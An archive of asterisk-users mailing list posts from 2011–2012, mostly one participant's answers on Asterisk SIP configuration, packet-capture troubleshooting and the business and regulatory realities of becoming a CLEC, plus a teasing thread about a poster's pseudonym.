On 02/22/2012 07:26 AM, virendra bhati wrote: Does anyone know the correct information of my question. All are move round and round . Well, you know Kevin. Whenever I ask him a question, he just moves round and round... -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/, http://www.alexbalashov.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] how many UDP ports is required for 1 call
As many ports as required by the nature of the call, i.e. the protocol(s) used for the bearer. -- This message was painstakingly thumbed out on my mobile, so apologies for brevity and errors. Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/, http://www.alexbalashov.com On Feb 21, 2012, at 8:30 AM, virendra bhati virbh...@gmail.com wrote: Hi, how many UDP ports is required for 1 call. and why . -- Thanks and regards Virendra Bhati +91-8885268942 Software Engineer E-mail-: virbh...@gmail.com Skype id:- virbhati2 -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] SDP Issue
I wasn't so much poking fun at the substance of your post as the fact that you're the only person on this mailing list that posts with a pseudonym, and at that, one evocative of online gaming or forum environments. It just doesn't fit with the culture or the relatively serious, substantive and adult-oriented tenor of this type of list. Do you not notice that? At the risk of being rude, --[ UxBoD ]-- is something that belongs in WoW or a phpBB board full of spotty adolescents. If your real name is Phil, why not post as such? Okay, so maybe you don't want to give out your surname for one reason or another--fair enough. So, post as Phil, or Phil D., if your full name were Phil Deleterious. There's no rule saying you have to. However, the survival of most human social institutions, including those devoted to the exchange of knowledge, is upheld in part by adherence to some conventions of self-presentation and deportment. These conventions help delineate the identity and character of the venue to outsiders, and assist in self-knowledge and affirmation of that character internally. Everyone else here posts with their full name because it communicates: I am a real, adult person solving real-world technical problems related to Asterisk. It is, at least in part, an affirmation of the fact that real personalities--real humans, real identities--underlie participation in Internet forums, especially specialised ones. It is also a nod to the benificent academic origins of the Internet. There are reasons for these conventions. They encapsulate our creation mythos, and they tell us what kind of people we are, as a community. Quite frankly, your From: display name spits on the pedigree, on the storied heritage of how this open-source community came to be. It is not deferential to the accrued wisdom of Internet-focused technical specialists in areas such as Asterisk or IP telephony, and it does not hallow the ground on which we tread. It says that the ROFLcopter has landed!!!111 and lol p0wned teh n00bs. Except, you're being the n00b. Come on, Phil. Self-awareness is important. I know I am being a self-important ass pontificating on this to you. Are you okay with an ASCII art pseudonym that says, I'm a 14 year old playing WoW on a delapidated, slightly yellowed Windows tower draped in dirty underwear? If not for you, why not for us? Please post with a real name. -- This message was painstakingly thumbed out on my mobile, so apologies for brevity, errors, and general sloppiness. Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ On Jan 24, 2012, at 6:02 AM, --[ UxBoD ]-- ux...@splatnix.net wrote: LOL :) that really made me chuckle this morning; and very apt for the fact I did not post any fundamental details about the issue. All points duly noted! -- Thanks, Phil - Original Message - Is --[ UxBoD ]-- a first-person shooter gang--er, clan--name? Like, one of those who rocket-jumps onto the platform and camps with the grenade launcher, trying to stop the reds from capturing the blue flag? I hate how the health and the ammo takes so long to respawn. Is there any way to fix that in deathmatch? -- This message was painstakingly thumbed out on my mobile, so apologies for brevity, errors, and general sloppiness. Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ On Jan 24, 2012, at 2:10 AM, --[ UxBoD ]-- ux...@splatnix.net wrote: --[ UxBoD ]-- -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] SDP Issue
On 01/24/2012 07:34 AM, John Novack wrote: Phil has been using his pseudonym for years, and Alex and his painful/painstaking posting is the only one I have seen even raising the issue. Says even more about Alex than Phil Guilty as charged. :-) -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] SDP Issue
Phil, I applaud both the diplomacy of your responses and your willingness to consider the critique. It was very gentlemanly of you. For the interlopers cashing in cheap shots, my enthusiasm is more restrained. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] SDP Issue
Is --[ UxBoD ]-- a first-person shooter gang--er, clan--name? Like, one of those who rocket-jumps onto the platform and camps with the grenade launcher, trying to stop the reds from capturing the blue flag? I hate how the health and the ammo takes so long to respawn. Is there any way to fix that in deathmatch? -- This message was painstakingly thumbed out on my mobile, so apologies for brevity, errors, and general sloppiness. Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ On Jan 24, 2012, at 2:10 AM, --[ UxBoD ]-- ux...@splatnix.net wrote: --[ UxBoD ]-- -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Cisco AS5300 and Digium g729A codec
You are hereby encouraged to post your AS5300 IOS config, sip.conf peer declaration, and packet capture. Those three things would aid greatly in diagnosis, especially the capture. -- This message was painstakingly thumbed out on my mobile, so apologies for brevity, errors, and general sloppiness. Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ On Jan 9, 2012, at 3:20 AM, Roi Stork roi.st...@gmail.com wrote: Hi, We have a problem connecting to a Cisco AS5300 trunk. We set the sip peer to allow only g729. The call attempt is able to connect, but when answered, no audio is heard or transmitted. Our asterisk version is 1.6.2.14 . Codec is licensed, bought from Digium. We do not have this problem on our other providers using asterisk and other non-cisco systems. Anyone else having this same problem? -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Skype For Asterisk (SFA): any replacement?
On 12/01/2011 08:30 AM, gincantalupo wrote: any idea about how to replace Skype For Asterisk? Replace with what? -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Does Asterisk alter the Headers of INVITE Message
On 11/27/2011 04:27 PM, Faraj Khasib wrote: Please guys anybody knows How can I send a unique token to the Receiver at the Invite call? Is that possible? Custom SIP headers are a common way to do that. Try SIPAddHeader(). -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Does Asterisk alter the Headers of INVITE Message
On 11/27/2011 04:53 PM, Faraj Khasib wrote: I tried that with my SIP Cleint but the custom Header is not reaching the cleint ... Does the asketrisk delete that? Are you sure? Have you taken a packet capture to confirm? -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Does Asterisk alter the Headers of INVITE Message
On 11/27/2011 05:25 PM, Faraj Khasib wrote: Yes, see attached ... Proxy server alter my Test custom header and delete it, Is there a way to include it in message sent from SIP Proxy to target? That would be a proxy configuration issue, wouldn't it? In principle, the proxy should be passing these messages through unmodified, unless you have an explicit configuration directive that instructs it to remove headers from the INVITE. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Asterisk Developer
On 11/18/2011 05:16 AM, mahesh katta wrote: Require Asterisk Developer in my ORG. Regards, Mahesh- 345699 Require you post to right LIST. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Becoming a CLEC
On 11/16/2011 10:30 AM, eherr wrote: But what is the correct physical setup of a CLEC. There is no correct physical setup. The setups vary as much as anything else does, and are shaped mainly by the purpose of the CLEC and the range of products it provides. Do you get rack space at a carrier hotel and equipment in there? CLECs that provide a substantial range of business-class voice and data services usually have quite a bit of equipment and either end up building out their own telco-grade data center somewhere (which can be synergistic for many of them since they are also data center operators in general), or renting a cage in a carrier hotel. There are CLECs whose equipment can functionally fit into a single rack, or even less, but those are the specialised, single-track ones that mainly exist to support the back side of some VoIP product. In cases where only one or two racks are involved, a carrier hotel is indeed a common venue. Do you get rack space at the local ILEC CO?; which is Verizon here. Yes, but _only_ for the purpose of colocating equipment that is related to backhaul and CFA, i.e. to providing services out of that CO and dragging the last-mile loops to the customer out of the CO and onto your private network. A CO and the equipment allowed it is a very restrictive and regulated environment full of equipment certification criteria and obscure rules. It will seem especially restrictive if you're used to working with commodity PC hardware and open-source; virtually nothing of the sort is allowed to be colocated in a CO. Also, keep in mind that COs generally have 23 telco racks (not 19 data racks) and supply -48V DC, or, at best, 220V AC. Space in a busy metro CO is very expensive. You really don't want to think of it as a general-purpose colocation facility. That's not what it's for. What are the types of voice platforms used by CLECs? The answer to that varies a great deal depending on the services being provided. But in general, CLECs use converged softswitches that offer them the combination of 1) TDM facilities and Class 4 routing features they need, along with (obviously) SS7 support and support for more obscure protocols that become very important in CLEC land, such as H.248/MEGACO, MGCP, etc. and 2) Class 5 subscriber features and applications so they can sell business lines, hosted PBX, etc. CLECs generally are looking for all of that in one chassis, with the obvious redundancy implications as well. They want something that they can connect to the ILEC tandems while simultaneously supporting constructs as high-level as voicemail or find-me-follow-me. Common platforms in the wild: - MetaSwitch (Class 4/5) - Sonus (rather Class 4 and IP-oriented) - Lucent Compact Switch - formerly Telica (quite Class 4) - Taqua - Excel - Tekelec Broadsoft and Cisco BTS (not so much anymore) figures every heavily into this, but they're slightly different animals than the rest. That's just the formulaic stuff. The big CLECs have all sorts of custom stuff, such as Level3's famed Lucent TNT Max-based Viper network and corresponding media gateway control/signaling gateways. -- Alex -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Becoming a CLEC
On 11/14/2011 08:33 PM, Alex Balashov wrote: There is no free lunch. There is no such thing as an easy-peasy regulatory reclassification that gets you the same stuff you were paying before, but more cheaply. *paying for before -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Becoming a CLEC
Worst reason to become a CLEC: improved cost structure. Or, to be precise, it is a counterfactual reason, because it does not result in improved cost structure. This idea is driven by an incomplete understanding of what being a CLEC entails, or, for the less critically thoughtful, the free lunch fallacy. There is no free lunch. There is no such thing as an easy-peasy regulatory reclassification that gets you the same stuff you were paying before, but more cheaply. Becoming a CLEC is a totally different business model than the one you're in, and it entails magnitudinally more technological and regulatory complexity. It's really almost a different vertical. You should become a CLEC only if you want to become a CLEC, not if you want to be an ITSP with a lower cost basis, because you won't be. It is a very capital-intensive, non-trivial endeavour with high barriers to entry for a good reason. There will be people out there who will tell you that those barriers are low; they are on the bridge of failing CLECs, treading water. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Becoming a CLEC
On 11/14/2011 07:56 PM, Douglas Mortensen wrote: I think that you actually should be looking to your state. I’m pretty sure that even if CLEC is an FCC designation, it is implemented either on a per-state or per-LATA basis. Here in NM there’s only 1 LATA, which is why I’m not completely sure. But I believe that the CLEC qualifications designation is actually managed by the State of NM where I am. One of the state departments had all of the info seemed to be in charge. CLECs are certified on the state level, by state public utility regulators, in most states known as the state PUC (public utilities commission). Being creatures of the local loop, interconnection with the ILEC is something that takes place separately in every LATA, often on somewhat different terms even within the same state. Negotiating a viable ICA (interconnection agreement) with the ILEC is one of the most important elements of success or failure, and is a massive endeavour of both personal scholarship and legal expenditure. The details of the agreement - most opt-in agreements are hundreds of pages long - are ones by which CLECs live or die, especially if they are doing a lot of local access, intra-LATA origination, or UNE facilities. And even if there is more paperwork, reporting, red tape, etc. there are also some MAJOR discounts to be had on circuits due to the regulation that is placed on the ILECs to foster competition. They hate it. But it’s not going to change any time in the foreseeable future. Yeah, discounts are nice. UNE DS1s in LATA 438 are $44/mo. Many people lick their chops at such a prospect. What these prices don't take into account is the up-front and recurring cost of: - CO backhaul (usually dark fiber of your own, sometimes ILEC fiber). - CO colocation - expensive, requires third-party vendors, and plenty of insurance. - CFA (circuit facilities assignment) - your cross-connects for UNE handoff in the CO. - EELs for dragging circuits out of COs in which you aren't colocated; you won't go into all of them, it's expensive. - COs where UNE pricing discipline is suspended because of the ILEC's finding of sufficient competition, in favour of special access. Amortise the up-front and recurring monthly cost of all those pain points and see what your new discounted rates are. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Becoming a CLEC
On 11/14/2011 08:36 PM, Robert-IPhone wrote: Agreed. And facilities based CLEC even scarier. I'm curious what sort of thing would be considered a non-facilities based CLEC, since UNE-P was cancelled in 2003. There are some non-interconnected CLECs out there that exist for the sole purpose of leveraging rights of way and stuff like that, but there's not too many things you can do switchless, muxless, DACS-less and not interconnected these days. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Becoming a CLEC
UNE is alive and well. UNE-P is what's gone. -- This message was painstakingly thumbed out on my mobile, so apologies for brevity, errors, and general sloppiness. Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ On Nov 14, 2011, at 9:00 PM, Robert-IPhone rhuddles...@gmail.com wrote: Wow so I left before the end of resale Verizon UNE then. We ran Lucent 5E and Nortel DMS and provided facilities voice and DSL. Having a large SONET fibre infrastructure helped too. Sent from my iPhone 4S On Nov 14, 2011, at 8:53 PM, Alex Balashov abalas...@evaristesys.com wrote: On 11/14/2011 08:36 PM, Robert-IPhone wrote: Agreed. And facilities based CLEC even scarier. I'm curious what sort of thing would be considered a non-facilities based CLEC, since UNE-P was cancelled in 2003. There are some non-interconnected CLECs out there that exist for the sole purpose of leveraging rights of way and stuff like that, but there's not too many things you can do switchless, muxless, DACS-less and not interconnected these days. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Becoming a CLEC
Only through new, innovative applications. They will always deliver transport and dialtone cheaper than you. -- This message was painstakingly thumbed out on my mobile, so apologies for brevity, errors, and general sloppiness. Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ On Nov 14, 2011, at 9:15 PM, Nick Khamis sym...@gmail.com wrote: Hahah! Yeah it does doesn't it? What do we do? How do we stay a float, It almost seems like the ILECs will drop their rates to a penny once the people in this, and Kamailio lists ;) actually put a dent in their underline. Nick On Mon, Nov 14, 2011 at 9:08 PM, Jeff LaCoursiere j...@sunfone.com wrote: On Mon, 2011-11-14 at 20:51 -0500, Nick Khamis wrote: The ride is over before it even began A local ILEC here in Canada, is already offering Unlimited World service. And this on a Tier 1 network, not the crap we're use to doing business on. Choose a different angle before you get anymore grey hairs on that head... http://www.bell.ca/Home_phone/Products/Unlimited_World?INT=HP_hpldpg_BAN_flatfee_Mass_20101110_cb_on_en The Unlimited service seems pretty limited to me. Vonage may even have more reach than this. j -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Becoming a CLEC
There are clever ways to be a CLEC, and keen reasons for becoming so. But cheaper stuff ain't one of them. -- This message was painstakingly thumbed out on my mobile, so apologies for brevity, errors, and general sloppiness. Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ On Nov 14, 2011, at 10:02 PM, Nick Khamis sym...@gmail.com wrote: Yeah! That is what I was thinking... Bringing Voice and Video under one umbrella, things like that... I actually come from a speech recognition and natural language processing background. Trying to build the voice network, and seeing how I can bring it all together. P.S. I started by getting acquainted with the proxies of course ;) Nick On Mon, Nov 14, 2011 at 9:42 PM, Alex Balashov abalas...@evaristesys.com wrote: Only through new, innovative applications. They will always deliver transport and dialtone cheaper than you. -- This message was painstakingly thumbed out on my mobile, so apologies for brevity, errors, and general sloppiness. Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ On Nov 14, 2011, at 9:15 PM, Nick Khamis sym...@gmail.com wrote: Hahah! Yeah it does doesn't it? What do we do? How do we stay a float, It almost seems like the ILECs will drop their rates to a penny once the people in this, and Kamailio lists ;) actually put a dent in their underline. Nick On Mon, Nov 14, 2011 at 9:08 PM, Jeff LaCoursiere j...@sunfone.com wrote: On Mon, 2011-11-14 at 20:51 -0500, Nick Khamis wrote: The ride is over before it even began A local ILEC here in Canada, is already offering Unlimited World service. And this on a Tier 1 network, not the crap we're use to doing business on. Choose a different angle before you get anymore grey hairs on that head... http://www.bell.ca/Home_phone/Products/Unlimited_World?INT=HP_hpldpg_BAN_flatfee_Mass_20101110_cb_on_en The Unlimited service seems pretty limited to me. Vonage may even have more reach than this. j -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Unknown warning
It means Asterisk is enqueueing a failed reinvite for retransmission. On 10/27/2011 06:04 AM, Ishfaq Malik wrote: Hi Can anyone shed some light on what this warning means? chan_sip.c:19184 handle_response_invite: just did sched_add waitid(1223301) for sip_reinvite_retry for dialog 3c46ab7f1762-8nxnhonpfcgr in handle_response_invite I've had a good look online but can't find a decent answer. Thanks in advance Ish -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Unknown warning
On 10/27/2011 06:15 AM, Ishfaq Malik wrote: Is it anything to worry about? there are about 8 a second happening. Maybe. Can't say without more data/context/packet capture/etc. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Unknown warning
On 10/27/2011 06:30 AM, Ishfaq Malik wrote: On Thu, 2011-10-27 at 06:16 -0400, Alex Balashov wrote: On 10/27/2011 06:15 AM, Ishfaq Malik wrote: Is it anything to worry about? there are about 8 a second happening. Maybe. Can't say without more data/context/packet capture/etc. Well it doesn't seem to be having too big an impact on load or cpu usage. Any pointers on where I can do any further digging? Take a capture and see what kind of SIP flow is causing it: tcpdump -i any -A -w capture.pcap -s 0 -n 'udp port 5060' After you're reasonably sure a few of those errors have occurred, hit Ctrl+C to stop the capture. Then, open up capture.pcap in Wireshark and see what's what, and/or get someone who knows a lot about SIP to help you. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Peer and User Clarification
All endpoints are peers, in the broad sense of entities in sip.conf. This includes phones, gateways, provider endpoints, etc. When a phone makes a call through an Asterisk server, it initiates a call leg to Asterisk, which is matched to a sip.conf peer. Asterisk then initiates a second call leg through another sip.conf peer, and bridges the two legs together. Both are anchored by peers. The type of the peer (the type= setting) is a configuration detail that changes some minor aspects of how the endpoint is treated, but whether the type is friend, peer, etc. it's still a peer. They are largely the same. -- This message was painstakingly thumbed out on my mobile, so apologies for brevity, errors, and general sloppiness. Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ On Oct 23, 2011, at 5:46 AM, Elliot Murdock murdo...@gmail.com wrote: Hello All, It seems from the Asterisk documentation, a User places phone calls into the Asterisk server and a Peers accepts phone calls from the Asterisk server. However, according to the document describing the register = command for sip.conf, it seems that Peers can in fact place calls into an Asterisk system. Is this correct and how is this working? Thanks, Elliot -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
